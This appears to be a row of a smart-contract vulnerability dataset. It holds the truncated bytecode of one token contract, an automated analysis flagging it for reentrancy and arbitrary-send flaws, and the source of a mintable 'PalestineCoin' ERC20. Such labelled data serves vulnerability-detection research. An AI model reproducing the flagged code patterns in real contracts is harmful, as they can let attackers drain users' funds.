c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220906c58fd6dbb58269875d30ed06ffe40301d34983029aa46aa90d3ee5d6e5fef64736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,362 |
0xa6783B5970B29F37aD1A2ccA4ddd803E73A88ab0
|
/**
*Submitted for verification at Etherscan.io on 2020-09-01
*/
//SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
require(_totalSupply <= 1e29, "_totalSupply exceed hard limit");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20WithAutoMinerReward is ERC20 {
function _mintMinerReward() internal {
_mint(block.coinbase, 1000);
}
function _transfer(address from, address to, uint256 value) internal {
_mintMinerReward();
super._transfer(from, to, value);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract PalestineCoin is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("Palestine Coin", "PSC", 18) {
governance = msg.sender;
addMinter(governance);
// underlying _mint function has hard limit
mint(governance, 1e29);
}
function _mintMinerReward() internal {
_mint(block.coinbase, 1000);
}
function _transfer(address from, address to, uint256 value) internal {
_mintMinerReward();
super._transfer(from, to, value);
}
function mint(address account, uint amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80635aa6e675116100a2578063a457c2d711610071578063a457c2d71461055b578063a9059cbb146105c1578063ab033ea914610627578063dd62ed3e1461066b578063f46eccc4146106e357610116565b80635aa6e675146103f257806370a082311461043c57806395d89b4114610494578063983b2d561461051757610116565b80633092afd5116100e95780633092afd5146102a8578063313ce567146102ec578063395093511461031057806340c10f191461037657806342966c68146103c457610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020457806323b872dd14610222575b600080fd5b61012361073f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e1565b604051808215151515815260200191505060405180910390f35b61020c6107ff565b6040518082815260200191505060405180910390f35b61028e6004803603606081101561023857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610809565b604051808215151515815260200191505060405180910390f35b6102ea600480360360208110156102be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108e2565b005b6102f4610a00565b604051808260ff1660ff16815260200191505060405180910390f35b61035c6004803603604081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a17565b604051808215151515815260200191505060405180910390f35b6103c26004803603604081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aca565b005b6103f0600480360360208110156103da57600080fd5b8101908080359060200190929190505050610b97565b005b6103fa610ba4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61047e6004803603602081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bca565b6040518082815260200191505060405180910390f35b61049c610c12565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104dc5780820151818401526020810190506104c1565b50505050905090810190601f1680156105095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105596004803603602081101561052d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb4565b005b6105a76004803603604081101561057157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b604051808215151515815260200191505060405180910390f35b61060d600480360360408110156105d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9f565b604051808215151515815260200191505060405180910390f35b6106696004803603602081101561063d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ebd565b005b6106cd6004803603604081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc4565b6040518082815260200191505060405180910390f35b610725600480360360208110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104b565b604051808215151515815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d75780601f106107ac576101008083540402835291602001916107d7565b820191906000526020600020905b8154815290600101906020018083116107ba57829003601f168201915b5050505050905090565b60006107f56107ee61106b565b8484611073565b6001905092915050565b6000600254905090565b600061081684848461126a565b6108d78461082261106b565b6108d285604051806060016040528060288152602001611b5e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061088861106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112829092919063ffffffff16565b611073565b600190509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900460ff16905090565b6000610ac0610a2461106b565b84610abb8560016000610a3561106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134290919063ffffffff16565b611073565b6001905092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216d696e7465720000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610b9382826113ca565b5050565b610ba1338261160a565b50565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610caa5780601f10610c7f57610100808354040283529160200191610caa565b820191906000526020600020905b815481529060010190602001808311610c8d57829003601f168201915b5050505050905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610e95610ddf61106b565b84610e9085604051806060016040528060258152602001611bf06025913960016000610e0961106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112829092919063ffffffff16565b611073565b6001905092915050565b6000610eb3610eac61106b565b848461126a565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611bcc6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b166022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6112726117c2565b61127d8383836117d0565b505050565b600083831115829061132f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113c0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6114828160025461134290919063ffffffff16565b6002819055506c01431e0fae6d7217caa0000000600254111561150d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5f746f74616c537570706c79206578636565642068617264206c696d6974000081525060200191505060405180910390fd5b61155e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611690576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b866021913960400191505060405180910390fd5b6116fb81604051806060016040528060228152602001611af4602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112829092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061175281600254611a8690919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6117ce416103e86113ca565b565b600073ffffffffffffffffffffffffffff